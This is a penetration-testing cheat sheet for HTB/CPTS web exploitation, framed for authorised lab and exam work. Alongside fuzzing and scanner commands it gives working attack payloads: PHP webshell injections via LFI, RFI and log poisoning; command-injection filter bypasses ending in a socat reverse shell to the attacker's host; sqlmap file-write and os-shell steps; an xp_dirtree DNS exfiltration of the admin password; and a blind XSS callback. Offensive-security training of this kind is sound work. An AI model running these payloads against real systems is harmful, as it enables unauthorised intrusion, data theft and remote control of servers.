FLOW ^: Pentest Workflow

Stage 02 — Web Enumeration and Exploitation

CPTS attack-flow reference for stage 02 — web enumeration and exploitation in an authorised engagement.

intermediate updated 2026-08-29 ffuf · Feroxbuster · Gobuster · Burp Suite

[!dashboard] Attack-flow navigation Dashboard: HTB Pentest Attack Flow

Section: 03 of 17 · Focus: Stage 02 — Web Enumeration and Exploitation

Previous: Stage 01 — Recon and Host Discovery · Next: Foothold Toolkit — File Transfers


🌐 STAGE 2 — Web Enumeration & Exploitation

Everything after a live web port. Content discovery first, then vhosts, then the app itself. I fuzz, read the app, then attack the one thing that’s actually vulnerable. Deep tool refs: Ffuf-Cheatsheet · webfuzz · gobuster · Nuclei-Cheatsheet · WPScan · LFI - Cheat Sheet · sqlmap.

[!note] Setup assumptions $IP = box, $DOMAIN = domain.htb, $LHOST = my tun0. Add every domain/vhost I find to /etc/hosts ($IP $DOMAIN admin.$DOMAIN ...) before content discovery, or half the app won’t resolve. SecLists lives at /usr/share/seclists.

The methodology at a glance

Web exploitation methodologyTD
Live web port foundStage 01
Fingerprintwhatweb / httpx / headers
Vhosts?
Host-header fuzz
admin./dev./internal.add to /etc/hosts
single site
Content discoveryffuf/feroxbuster + right extension
Param miningarjun / gau / JS analysis
Read the appBurp walkthrough, map every input
Input class?
auth
defaults → brute → JWT/reset flaws
query param
SQLi / NoSQLi / cmd-inject
file load
LFI / SSRF / XXE
upload
Upload bypass → webshell
rendered
XSS → cookie theft / blind
Shell as service account
File transfer + upgradeStage 03 → PrivEsc Stage 09

[!success] CPTS exam tips

  • /etc/hosts discipline — half of all “dead ends” on the exam are unfuzzed vhosts. If the landing page is a static placeholder, vhost-fuzz immediately.
  • Fuzz with the right extension.php on PHP, .aspx on IIS. The exam hides the foothold page behind the correct extension more often than behind an obscure name.
  • Enumerate before exploiting — five minutes in Burp reading every form/endpoint beats an hour of sqlmap --level=5.
  • Default creds first, always — Tomcat/Jenkins/Grafana/PRTG boxes are one login away from RCE; check the table before reaching for rockyou.
  • Chase the low-priv shell to privesc fast — web footholds land as www-data/IIS APPPOOL; pivot straight to 12 - Stage 09 - Privilege Escalation checks.
  • Document as you go — every finding needs a reproducible request (save Burp requests, keep ffuf/nuclei output) so the report writes itself later.

🔎 Fingerprinting & tech identification (before any fuzzing)

What to look for → server header, framework, CMS, WAF. The tech stack dictates the wordlist (.php vs .aspx vs .jsp), the default-cred table, and which CVEs apply — five minutes of fingerprinting saves an hour of wrong-extension fuzzing. Tools: whatweb (single targets), httpx (bulk probing + tech detect). MITRE T1595.002 (Active Scanning: Vulnerability Scanning adjacent) / TA0043 Recon.

# whatweb — fast banner/plugin fingerprint, aggression levels 1(passive)->3(aggressive)
whatweb http://$IP                       # default, one request-ish
whatweb -a 3 http://$IP                  # aggressive: heavier probing, version guesses
whatweb --log-json=whatweb.json http://$IP

# httpx — probe many hosts at once, grab title/tech/status (pipe in the port-sweep output)
httpx -l hosts.txt -title -tech-detect -status-code -follow-redirects -o httpx.out
echo http://$IP | httpx -tech-detect -server -title

# headers + TLS by hand when the tools disagree
curl -sI http://$IP | grep -iE 'server|x-powered-by|x-aspnet|set-cookie'
#   X-Powered-By: PHP/8.1  /  ASP.NET  /  Express   — free stack intel
#   cookie names leak the framework: PHPSESSID=PHP, JSESSIONID=Java/Tomcat,
#   .AspNetCore.Session=ASP.NET Core, connect.sid=Express, laravel_session=Laravel

# robots.txt / sitemap.xml / security.txt are free, non-intrusive content discovery
curl -s http://$IP/robots.txt

[!tip] Browser-side fingerprinting The Wappalyzer browser extension fingerprints as you browse Burp-scoped pages — zero extra traffic beyond what the browser already sends. For scripted checks, whatweb/httpx -tech-detect cover the same ground.

[!tools] Screenshot triage at scale Once httpx/vhost fuzzing yields a URL list, screenshot everything in one pass and eyeball the contact sheet for login panels, default installs, and error pages. gowitness is staged locally:

gowitness_linux_amd64 (SHA-256 · GPG signature)

./gowitness scan file -f urls.txt --screenshot-path ./shots
./gowitness report server            # browse the gallery on 127.0.0.1:7171

[!warning] OPSEC — fingerprinting is logged whatweb -a 3 and httpx -tech-detect fire dozens of probes with recognisable UAs/paths; on a monitored engagement pass -H "User-Agent: ..." and rate-limit (httpx -rl 25). Cookie names, Server: headers, and robots.txt are single-request recon — harvest them from Burp history for free before firing tools.


Tech ID → attack mapping

Fingerprint in hand, jump straight to the relevant section/tool instead of generic fuzzing:

FingerprintImmediate moveDeep-dive toolSection
WordPress (wp-content, wp-login.php)wpscan -e vp,vt,u + ?author=1 enumwpscanWordPress (wpscan)
Joomla (/administrator/, joomla.xml)read joomla.xml versiondroopescan scan joomlaJoomla → Template Customise shell / dir-traversal
Drupal (CHANGELOG.txt, /node/1)droopescan → Drupalgeddon version checkdroopescan scan drupalDrupal → PHP Filter / backdoored module / Drupalgeddon
Any CMS, unknowngeneric multi-CMS scanCMSmap
Apache Tomcat (/manager, :8009 AJP)default creds → WAR deploymsf tomcat_mgr_loginTomcat → /manager WAR deploy (msfvenom war)
Jenkins (:8080, /script)anon-read? → Groovy consoleJenkins → Groovy Script Console RCE
GitLab (/explore)self-register → repo secrets; version on /helpGitLab → self-register → repo secrets / ExifTool RCE
IIS (Microsoft-IIS, ASPX)short-name enum, .aspx wordlists, web.config huntiis_shortname_scannerIIS short-name (~) tilde enumeration
PHP stack (PHPSESSID, .php)LFI/upload/SQLi focus, php:// wrapperssqlmap, ffufLFI → RCE
Node/Express (connect.sid, X-Powered-By: Express)NoSQLi, prototype pollution, SSTI (Pug/EJS)NoSQL injection (MongoDB/Express APIs), SSTI — server-side template injection
Java (JSESSIONID, Whitelabel Error)SSTI (Thymeleaf/FreeMarker), deserialization, Spring Actuator /env /heapdumpysoserial🧬 Insecure deserialization
GraphQL (/graphql, /graphiql)introspection querykiterunner🔌 API attacks — GraphQL, kiterunner, WebSockets
Grafanadefault admin:admin, CVE-2021-43798 path traversal (/public/plugins/)AuthN attacks — defaults, JWT, OAuth, reset flaws, MFA
WAF detected (403 on ', Server: cloudflare/awselb…)slow down, encode, see WAF section🛡️ WAF evasion & 403 bypass

Content discovery (dirs / files / extensions)

What to look for → hidden dirs, admin panels, backups (.bak .old .zip .sql), source leaks, upload dirs. Establish the soft-404 size first so filters actually work.

Enumerate

# ffuf directories
ffuf -u http://$IP/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -mc 200,204,301,302,307,401,403 -c

# extensions on words (tune to the stack: php,asp,jsp,txt,bak,old)
ffuf -u http://$IP/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
  -e .php,.txt,.bak,.old -mc 200 -c

# recursion — only AFTER filters are trusted, cap the depth
ffuf -u http://$IP/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt \
  -recursion -recursion-depth 2 -mc 200,301,302 -c

# autocalibrate + save an HTML report for the writeup
ffuf -u http://$IP/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -ac -c -o ffuf_dirs.html -of html

# webfuzz wrapper — auto-learns -fs, prints the raw ffuf line. --dry-run to just see it
webfuzz recurse -u http://$IP/          # dirs recursively, auto -e .php -v
webfuzz ext     -u http://$IP/blog/index   # which extension does /blog use?
webfuzz page    -u http://$IP/blog/ --ext php

# feroxbuster — recursive by default, the tool gobuster note points to for native recursion
feroxbuster -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,html -d 2

# gobuster dir (no native recursion — chain scans manually)
gobuster dir -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -x php,html,txt -t 40 -o initial_scan.txt

# dirsearch — batteries-included default list + extension handling, great reports
dirsearch -u http://$IP -e php,html,txt,bak -x 403,404 --random-agent -o dirsearch.txt

Fuzzer shoot-out — pick the tool per job, not by habit:

ToolNative recursionFilteringStandoutWatch for
ffuf-recursion (capped)-mc/-fc/-fs/-ms/-mr/-fr, -ac autocalibrateFUZZ keyword anywhere (Host header, body, JSON, cookie); -mode clusterbombrecursion floods without depth cap
feroxbusteron by default--filter-status/--filter-size, auto wildcard detectionRust speed, --collect-extensions, pause/resume (interactive scan)noisiest of the four; tune -d depth + -L links
gobusternone (chain manually)-b status blacklist, --exclude-lengthdns/vhost/fuzz/s3 modes in one binaryno recursion = missed deep trees
dirsearch-r-x excl status, --filter-sizesships its own curated wordlist; clean reporting (-o)default list smaller than raft-medium

Wordlist guide (SecLists at /usr/share/seclists):

JobList
Quick dir passDiscovery/Web-Content/common.txt (~4.7k)
Standard dir passDiscovery/Web-Content/raft-medium-directories.txt
Files / page namesDiscovery/Web-Content/raft-medium-files.txt, raft-medium-words.txt
Big fallbackDiscovery/Web-Content/directory-list-2.3-medium.txt
Vhosts/subdomainsDiscovery/DNS/subdomains-top1million-5000.txt (→20000)
Param namesDiscovery/Web-Content/burp-parameter-names.txt
LFI payloadsFuzzing/LFI/LFI-Jhaddix.txt
Miscfuzzdb attack patterns (often merged into SecLists Fuzzing/)

[!tip] Match wordlist × extension × stack Fingerprint first (Tech ID → attack mapping): PHP stack → -e .php, IIS → .aspx,.asp,.ashx,.config, Tomcat → .jsp,.war, generic → add .txt,.bak,.old,.zip,.sql. A raft-medium pass with the right extension beats directory-list-2.3-big with the wrong one.

[!warning] Watch out

  • Everything is a hit = soft-404. Hit a nonsense path first, read its size, then -fs <size> (or -ac, or let webfuzz learn it). Filtering skill beats wordlist size.
  • Nothing is a hit = over-filtered / wrong -mc. Fall back to -mc all then filter down.
  • Recursion with bad filters floods the box — depth-cap it and trust filters first.
  • gobuster --verbose is gone in v3.7+ (it’s --debug now); use --exclude-length for wildcard boxes.

VHost & subdomain fuzzing

What to look for → extra sites on the same IP (admin., dev., internal.). Wrong vhosts return the default site (a real 200), so response size is the only discriminator — always filter it.

Enumerate

# ffuf Host-header fuzz — point -u at the IP, fuzz the Host
ffuf -u http://$IP/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -H "Host: FUZZ.$DOMAIN" -ac -c
# manual size filter once I know the default page size
ffuf -u http://$IP/ -w namelist.txt -H "Host: FUZZ.$DOMAIN" -fs 15157

# webfuzz vhost — auto-calibrates -fs for me
webfuzz vhost -u http://$IP/ -d $DOMAIN

# gobuster vhost — needs --append-domain to build FQDN Host headers
gobuster vhost -u http://$IP -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  --domain $DOMAIN --append-domain --exclude-length <baseline_len>

# public subdomains via real DNS (bug-bounty / resolvable targets)
gobuster dns -d $DOMAIN -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -i

[!tip] Vhost before assuming one site Always vhost-fuzz an IP before deep content discovery — the interesting app is often on admin.$DOMAIN, not the landing page. Add every hit to /etc/hosts, then re-run dir fuzzing against the vhost.


Parameter & value fuzzing

What to look for → hidden GET/POST params, a working id/user value, login user enumeration. Baseline-filter the “invalid” response.

Enumerate

# GET parameter NAMES
ffuf -u "http://$IP/index.php?FUZZ=test" \
  -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -mc all -fs 4242 -c

# GET parameter VALUE (regex-filter the "not found" text)
ffuf -u "http://$IP/index.php?id=FUZZ" -w ids.txt -mc 200 -fr 'not found' -c

# POST login — fuzz username, filter the 401
ffuf -u http://$IP/login.php -X POST -d 'username=FUZZ&password=Password1' -w users.txt -fc 401 -c

# webfuzz — name/value, numeric range built on the fly
webfuzz getparam -u http://$IP/admin/admin.php
webfuzz value    -u http://$IP/admin/admin.php -p id --range 1-1000

# gobuster fuzz
gobuster fuzz -u "http://$IP/page?FUZZ=test" \
  -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -b 404 --exclude-length 0

Parameter mining — let archives and JS hand you the params (cheaper than fuzzing blind):

# arjun — smart GET/POST param discovery (learns the baseline, then diffs)
arjun -u "http://$IP/page.php" --stable            # GET
arjun -u "http://$IP/api/login" -m POST --stable   # POST

# ParamSpider — pulls params from Wayback archives for a domain
python3 paramspider.py -d $DOMAIN

# gau / waybackurls — every URL the Wayback Machine / CommonCrawl ever saw
echo $DOMAIN | gau --threads 5 | tee gau.txt
echo $DOMAIN | waybackurls | grep -E '\?.*=' | sort -u > params.txt
#   archive URLs reveal hidden endpoints, deleted admin panels, and file paths;
#   filter by extension for quick wins:
cat gau.txt | grep -iE '\.(php|aspx|jsp|json|xml|bak|sql|env|git)' 

# xnLinkFinder concept — crawl the app's JS bundles and extract endpoints/params
#   (python3 xnLinkFinder.py -i target.js -o endpoints.txt)
#   ship-JS is ground truth: undocumented routes, API keys, hidden params

[!tip] Archive-then-fuzz order Run gau/waybackurls before fuzzing a target — dead endpoints from 2019 still resolve on legacy boxes, and they cost zero requests against the live host (fully passive, great OPSEC). Feed surviving paths into httpx to check which are still alive.


Web scanners (nikto / nuclei)

nikto = classic Perl web-server scanner (misconfigs, default files, outdated software); nuclei = template-driven CVE/exposure engine. Different jobs — nikto for server hygiene, nuclei for known-vuln matching.

Enumerate

# Nikto — everything except DoS, spoof UA (default UA is instantly WAF-flagged), JSON out
nikto -h http://$IP -Tuning x6 -useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" -o nikto.json -Format json
nikto -h http://$IP -Tuning 49          # XSS(4) + SQLi(9) only, low noise

# Nuclei — polite single-target (don't hammer a fragile box)
nuclei -u http://$IP -rl 20 -c 10 -bs 10 -timeout 15 -retries 2 -o box_scan.txt
nuclei -u http://$IP -as                 # auto-scan: fingerprint tech -> map templates
nuclei -u http://$IP -tags cve -s critical,high        # high-signal quick pass
nuclei -u http://$IP -tags wordpress,wp-plugin         # tech-specific

[!warning] Watch out

  • Both tools are loud — assume everything is logged. Nikto has no real stealth; narrow with -Tuning.
  • On isolated lab nets add nuclei -ni or OAST templates hang and drag the whole scan (public oast.pro/oast.live callbacks are also externally observable — the single most important OPSEC flag).
  • nuclei -ut before every engagement; default -rl 150 will knock a flaky HTB service over.

WordPress (wpscan)

What to look for/wp-login.php, wp-content/, generator meta, ?author=1 redirects. Feed wpscan an API token or you get zero vuln data.

Enumerate

export WPSCAN_API_TOKEN=<token>          # 25 free requests/day
wpscan --url http://$DOMAIN -e vp,vt,u --api-token $WPSCAN_API_TOKEN     # vuln plugins/themes + users
wpscan --url http://$DOMAIN -e ap --plugins-detection aggressive         # ALL plugins, noisy
wpscan --url http://$DOMAIN --stealthy --throttle 2000                   # low-and-slow

Exploit / Attack

# password attack — -U known/enumerated user, -P wordlist, force xmlrpc for speed
wpscan --url http://$DOMAIN -U "$U" -P /usr/share/wordlists/rockyou.txt --password-attack xmlrpc
# no -U -> wpscan enumerates u1-10 first, then attacks
wpscan --url http://$DOMAIN -P /usr/share/wordlists/rockyou.txt

[!warning] Watch out

  • Passive detection (the default) often can’t read a version — bump to --plugins-detection aggressive when you need it, accepting the 404 noise.
  • xmlrpc-multicall (500 pw/request) only exists on WP < 4.4; on modern WP fall back to --password-attack wp-login. Security plugins block xmlrpc entirely → wp-login.
  • Config backups (-e cb) and DB exports (-e dbe) are the crown jewels — wp-config.php.bak = DB creds.

LFI → RCE

What to look for?page=, ?file=, ?language=, ?include= — anything that loads a file. include()/require() execute; file_get_contents() only reads.

Enumerate / confirm

curl "http://$IP/index.php?language=/etc/passwd"
curl "http://$IP/index.php?language=../../../../etc/passwd"

# find the parameter, then fuzz LFI payloads (set -fs to the normal page size)
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ \
  -u "http://$IP/index.php?FUZZ=value" -fs 2287
ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ \
  -u "http://$IP/index.php?language=FUZZ" -fs 2287

Read source with the base64 filter (find creds/URLs)

# manual
curl "http://$IP/index.php?language=php://filter/read=convert.base64-encode/resource=config" | base64 -d

# webfuzz lfi — wraps php://filter, matches PD9waH (=<?ph), curls+base64-decodes every hit, greps creds
webfuzz lfi -u "http://$IP/nav.php?page=FUZZ" --resource /var/www/html/
# the raw commands it replaces:
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt:FUZZ \
  -u "http://$IP/nav.php?page=php://filter/read=convert.base64-encode/resource=/var/www/html/FUZZ" \
  -mr "PD9waH" -fs 0
curl -s "http://$IP/nav.php?page=php://filter/read=convert.base64-encode/resource=/var/www/html/wp-config.php" | base64 -d

Exploit / Attack — LFI → RCE

# data:// wrapper (needs allow_url_include=On)
curl "http://$IP/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==&cmd=id"

# php://input — POST the payload
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://$IP/index.php?language=php://input&cmd=id"

# expect:// wrapper
curl -s "http://$IP/index.php?language=expect://id"

# RFI — host the shell myself
echo '<?php system($_GET["cmd"]); ?>' > shell.php && python3 -m http.server 8000
curl "http://$IP/index.php?language=http://$LHOST:8000/shell.php&cmd=id"

# log poisoning — poison the access log via User-Agent, then include it
curl -s "http://$IP/index.php" -A '<?php system($_GET["cmd"]); ?>'
curl "http://$IP/index.php?language=/var/log/apache2/access.log&cmd=id"

# PHP session poisoning
curl "http://$IP/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E"
curl "http://$IP/index.php?language=/var/lib/php/sessions/sess_<PHPSESSID>&cmd=id"

[!warning] Watch out

  • Null-byte (%00) and path-truncation extension bypasses are obsolete (PHP < 5.3 only) — don’t waste time.
  • RFI needs allow_url_include=On; require() can’t pull a remote URL, include() can.
  • Upload tricks: GIF8<?php ...?> in a .gif, or zip://shell.zip%23shell.php&cmd=id / phar:// when you can upload but not directly include a .php.

SQL injection (sqlmap)

What to look for → any GET/POST/cookie param, especially numeric id. Capture the real request in Burp → request.txt so headers/auth/POST body are preserved.

Detect

sqlmap -u "http://$IP/page.php?id=1" --batch
sqlmap -r request.txt --batch                              # best for POST / auth / headers
sqlmap -u "http://$IP/page.php?id=1&name=test" -p id --level=5 --risk=3 --batch   # when default finds nothing

Enumerate → dump

sqlmap -r request.txt --batch --dbs
sqlmap -r request.txt --batch -D webapp --tables
sqlmap -r request.txt --batch -D webapp -T users --columns
sqlmap -r request.txt --batch -D webapp -T users -C username,password --dump
sqlmap -r request.txt --batch -a                           # grab everything (slow)

System access

sqlmap -u "http://$IP/page.php?id=1" --file-read="/etc/passwd" --batch
sqlmap -u "http://$IP/page.php?id=1" --file-write=shell.php --file-dest=/var/www/html/shell.php --batch
sqlmap -r request.txt --level=3 --risk=3 --os-shell --batch     # needs stacked queries (S) + DBA
# WAF in the way → chain tampers
sqlmap -u "http://$IP/page.php?id=1" --tamper=between,randomcase,space2comment --random-agent --delay=2 --batch

High-value flags cheat sheet

FlagWhy
-r request.txtpreserve cookies/CSRF/POST body exactly as Burp saw it
-p idtest only the promising param (speed, less noise)
--level 1-5 --risk 1-3level: cookies(2) UA/Referer(3); risk: OR-payloads(3, destructive)
--technique=BEUSTQBoolean/Error/Union/Stacked/Time — drop T to go fast
--dbms=mysqlskip fingerprinting, cut payload count hugely
--os-shell / --os-pwnneeds stacked queries + DBA + writable webroot
--file-read / --file-write + --file-destdirect file I/O via LOAD_FILE/INTO OUTFILE
--proxy http://127.0.0.1:8080watch sqlmap’s raw requests in Burp to debug
--flush-sessionchanged flags/target shape → forget cached results
--second-url / --second-reqsecond-order SQLi: inject in one request, observe in another
--dns-domain attacker.tldOOB exfil over DNS when the response is fully blind

Useful tampers (chain comma-separated; inspect tamper/ dir for the full list):

TamperTransformBeats
space2commentspace → /**/naive space filters
randomcaseSeLeCtcase-sensitive keyword WAF
between=BETWEEN=/comparison filters
equaltolike=LIKE= filters
apostrophemask' → UTF-8 fullwidthquote filters
charencode / charunicodeencodeURL/unicode-encode everythingkeyword scanners
base64encodewhole-payload b64apps that b64-decode input
modsecurityversioned/*!50000SELECT*/ version commentsModSecurity-style rules

Second-order SQLi — payload is stored now, executed when another page/query reads it back (classic: register username admin'-- , then the profile/password-change query injects). sqlmap: --second-url http://$IP/profile.php, or replay manually in Burp and diff.

Out-of-band SQLi — zero in-band output? Exfil over DNS (needs xp_dirtree on MSSQL / LOAD_FILE UNC on MySQL-Windows):

'; EXEC xp_dirtree '\\'+(SELECT password FROM users WHERE username='admin')+'.abc123.oast.pro'\\share';-- -

Catch with Burp Collaborator / interactsh — the leaked value arrives as a DNS label. sqlmap automates it with --dns-domain.

[!warning] Watch out

  • --level=2+ tests cookies, --level=3+ tests User-Agent/Referer — bump level before declaring a param clean.
  • Time-based blind is glacial. --technique=BEU drops it; --technique=U (UNION) is fastest for dumping.
  • --risk=3 adds OR-based payloads that can UPDATE/DELETE rows — think before you run it on a live app.
  • Changed flags but same target? --flush-session or sqlmap reuses the old (possibly wrong) result.

Command injection (filter bypass)

What to look for → params that ping / nslookup / convert / resolve — anything that shells out (system(), shell_exec(), passthru(), backticks). Read the script source the moment you get any exec.

Confirm

curl "http://$IP/ping.php?ip=127.0.0.1;id"
curl "http://$IP/ping.php?ip=127.0.0.1%0aid"     # %0a newline is the best first probe

Exploit / Attack — bypass chains

# space blocked -> ${IFS} / tab(%09) / brace expansion
curl "http://$IP/ping.php?ip=127.0.0.1%0acat${IFS}/etc/passwd"
curl "http://$IP/ping.php?ip=127.0.0.1%0a{cat,/etc/passwd}"

# slash blocked -> pull it from $PATH
curl "http://$IP/ping.php?ip=127.0.0.1%0acat${IFS}${PATH:0:1}etc${PATH:0:1}passwd"

# command name blocked -> quote/char split (bash -c '...' strips the empty quote pairs)
curl "http://$IP/ping.php?ip=127.0.0.1%0a'i'd"
curl "http://$IP/ping.php?ip=127.0.0.1%0a'w'h'i'ch${IFS}socat"
curl "http://$IP/ping.php?ip=127.0.0.1%0a'c'at${IFS}ping.php"     # READ THE SOURCE first

# binary name blocked -> wildcards; case-WAF -> reverse / base64
curl "http://$IP/ping.php?ip=127.0.0.1%0a/???/c?t${IFS}/etc/passwd"
curl "http://$IP/ping.php?ip=127.0.0.1%0abash<<<\$(base64${IFS}-d<<<aWQ=)"   # aWQ= = 'id'

# RCE -> reverse shell via socat (survives the filter on the INLANEFREIGHT lab)
socat -d -d TCP4-LISTEN:4444,fork,reuseaddr FILE:`tty`,raw,echo=0            # attacker
curl "http://$IP/ping.php?ip=127.0.0.1%0asocat${IFS}TCP4:$LHOST:4444${IFS}EXEC:bash,pty,stderr,setsid,sigint,sane"

[!warning] Watch out

  • %0a (newline) beats operator blacklists almost every time — developers can’t fully ban it. Try it first.
  • Filters compose, so bypasses compose: one request often needs operator + space + name-split stacked.
  • Every space in the payload must become ${IFS} or %09, or the space blacklist kills the request.
  • ${IFS} for spaces and single-quote splitting ('i'd) for names are the two highest-value tricks — learn them cold. Cat the source before brute-forcing a shell.

XSS

What to look for → every input reflected in a response or stored and rendered later. Insert a unique inert marker (xss7q9), find where and how it renders, then pick a context-matched proof.

Enumerate / prove (context-matched, console.log first)

GET /search?q=xss7q9 HTTP/1.1
Host: target.htb
<!-- HTML text context -->          <img src=x onerror=console.log('xss7q9')>
<!-- double-quoted attribute -->    "><img src=x onerror=console.log('xss7q9')>
<!-- single-quoted attribute -->    '><img src=x onerror=console.log('xss7q9')>
<!-- JS string context -->          ';console.log('xss7q9');//
<!-- JS template literal -->        ${console.log('xss7q9')}
# DOM XSS triage — grep downloaded JS for sources -> sinks
rg -n 'location\.(hash|search|href)|document\.(URL|referrer|cookie)|postMessage|innerHTML|outerHTML|insertAdjacentHTML|document\.write|eval\(|setTimeout\(' ./js

Blind / stored callback

python3 -m http.server 8000 --bind 0.0.0.0        # --bind 0.0.0.0 so the HTB browser (VPN iface) can reach it
<img src=x onerror="new Image().src='http://$LHOST:8000/xss?o='+encodeURIComponent(location.origin)">

Automate discovery/context/blind-OOB with dalfox → Dalfox - HTB and AEN Cheat Sheet; parameter-fuzz for reflected XSS with nuclei -u 'http://$IP/?id=1' -dast.

[!warning] Watch out

  • Match the payload to the observed parser — a short context-correct payload beats a giant generic list. Test one metachar at a time and inspect the HTML/JS before adding a handler.
  • Live DOM ≠ raw response: browser repair and client JS create or remove exploitability after the response arrives (compare View-Source vs Elements).
  • document.cookie is empty under HttpOnly — that does not disprove XSS. Execution and impact (cookie theft, OS access) are separate claims; XSS alone gives no OS shell.
  • HTTP callback against an HTTPS target = mixed-content blocked; use an HTTPS collector.

📸 Bulk web triage — EyeWitness / gowitness

What to look for → after vhost/subdomain fuzzing (or a subnet sweep through a pivot in STAGE 10) you have dozens of HTTP endpoints. Screenshot them all at once instead of opening each by hand — spot the login panels, default installs and dev apps in one contact sheet.

# feed it the hosts/urls you discovered
eyewitness --web -f urls.txt -d ./eyewitness            # opens a report.html gallery
gowitness scan file -f urls.txt                          # single-binary alternative

[!tip] Pairs with STAGE 2 fuzzing and STAGE 10 pivots — cut the live vhosts out of your ffuf output straight into urls.txt. Deep dive: EyeWitness-Cheatsheet.

🧰 Web Proxies, Advanced Fuzzing & Login Brute-Forcing

When curl + a raw ffuf sweep runs out of road: proxy the app so I can read and rewrite every request, push fuzzing past dirs/vhosts into extensions, values, headers, bodies, then brute-force the one login I actually found. Proxy listener is 127.0.0.1:8080 (Burp/ZAP) — FoxyProxy toggles the browser onto it, install the CA cert first or HTTPS pages break. Deep dives: 3 - Intercepting Web Requests · 4 - Repeating Requests · 7 - Burp Intruder · 9 - Burp Scanner · 3 - Page & Extension Fuzzing · 4 - Recursive Fuzzing · 7 - Parameter Fuzzing - GET & POST · 5 - Hydra · 6 - Medusa · 7 - Custom Wordlists.


Burp / ZAP — intercept, rewrite, repeat, decode

What to look for → client-side-only validation (type="number", maxlength, disabled/hidden fields), Base64/JSON cookies carrying trust claims (is_admin, role), anything the browser enforces that the back-end might not re-check.

Intercept & manipulate

Burp : Proxy > Intercept (on by default) — edit the held request, Forward
ZAP  : traffic-light button / Ctrl+B — Continue/Step
# front-end restricts input to digits; intercept the built request and inject anyway:
ip=1        ->   ip=;id;

Response interception — re-enable what the page hid

Burp : Proxy > Options > Intercept Response, then Ctrl+Shift+R to force the response through
ZAP  : Step on a held request auto-pauses its response
# edit the rendered HTML so the payload can be typed straight into the page:
<input type="number" ... maxlength="3">   ->   <input type="text" ... maxlength="100">

Automate the rewrite (Match & Replace / Replacer) — one-off edits don’t persist; make them a session rule:

ToolTypeMatchReplace
Burp Proxy > Options > Match and ReplaceRequest header^User-Agent.*$ (regex)User-Agent: HackTheBox Agent 1.0
BurpResponse bodytype="number" (literal)type="text"
ZAP Replacer (Ctrl+R)Request HeaderUser-AgentHackTheBox Agent 1.0

Repeat instead of re-intercepting — iterate payloads without toggling intercept:

Burp : right-click history request > Send to Repeater (Ctrl+R) > Ctrl+Shift+R to the tab > edit > Send
       right-click > Change Request Method  (flip GET<->POST without rewriting the request line)
ZAP  : right-click history > Open/Resend with Request Editor  (HUD: Replay in Console / in Browser)

Decode & tamper an encoded cookie (Burp Decoder / Inspector, ZAP Ctrl+E, or CyberChef):

eyJ1c2VybmFtZSI6Imd1ZXN0IiwgImlzX2FkbWluIjpmYWxzZX0=   --Base64-->   {"username":"guest","is_admin":false}
# flip guest->admin / false->true, re-encode Base64, paste back into the Repeater request, Send

[!warning] Watch out

  • Burp requires manual URL-encoding of pasted payloads (Ctrl+U, or right-click → URL-encode as you type) — an unencoded space, &, or # in a hand-edited body silently corrupts the request. ZAP encodes outgoing data automatically → don’t double-encode.
  • Burp intercepts all Firefox traffic — Forward through the background noise before your target request shows up.
  • Burp keeps Original vs Edited request views; ZAP history only shows what was actually sent. Use Burp’s when you need to prove exactly what you changed.
  • A type="number" edit only lasts one response — persist it as a Match & Replace rule or it reverts on refresh.

Burp Intruder / ZAP Fuzzer / Scanner

Intruder positions & attack types (Ctrl+I from history, Ctrl+Shift+I to the tab): wrap the payload spot in §markers§.

GET /§DIRECTORY§/ HTTP/1.1        # Sniper  = 1 position, 1 list  (dirs, single param, single-user pw guess)
user=§admin§&pass=§pass§          # Cluster bomb = N positions x N lists, every combo (user x password)
                                  # Pitchfork = N positions, lists advance in lockstep (paired creds / stuffing)
Payloads > Simple List > Load wordlist
Payload Processing > Skip if matches regex  ^\..*$        # drop dotfile noise before sending
Options > Grep - Match: add "200 OK", untick "Exclude HTTP headers" (status line lives in headers)

ZAP Fuzzer is the unthrottled analogue (right-click > Attack > Fuzz → File Fuzzers ships built-in dirbuster lists → add a URL Encode processor → threads 20). Pick breadth-first for multi-account spraying so one account isn’t hammered with every password (lockout).

Scanner (Burp Pro / ZAP free) — crawl + passive + active

Target > Site map > right-click > Add to scope   (then Target > Scope, add regex include/exclude)
Dashboard > New Scan > Crawl and Audit > Select from library > Audit checks: critical issues only
Filter Issue activity by: High severity + Firm/Certain confidence

[!warning] Watch out

  • Free Burp Intruder is throttled to ~1 req/s — reserve it for short, targeted lists; a big sweep belongs in ffuf/feroxbuster (thousands/s). Its real edge is payload-processing rules + Cluster bomb + one-click pivot to Repeater.
  • Scope discipline before an active scan: explicitly Remove from scope logout links and destructive actions, or the crawler logs your own session out / triggers state changes mid-audit.
  • Passive scan only suggests (no new traffic, confidence-rated); active scan confirms by probing — know which is running before you trust a finding. A scanner’s exported report is appendix data, never the deliverable → 9 - Burp Scanner, 10 - ZAP Scanner.

Burp vs ZAP — which when (Burp Suite · OWASP ZAP):

NeedBurpZAP
Manual testing loop (Repeater)best-in-classRequest Editor is fine
Fast bulk fuzzingCommunity Intruder throttled ~1 req/s ❌Fuzzer unthrottled ✅
Active scannerPro onlyfree, decent
ExtensionsBApp store (Turbo Intruder, Logger++, InQL)add-on marketplace
Exam/lab defaultuse Burp CE + ffuf to cover the throttlegood free fallback for scanning

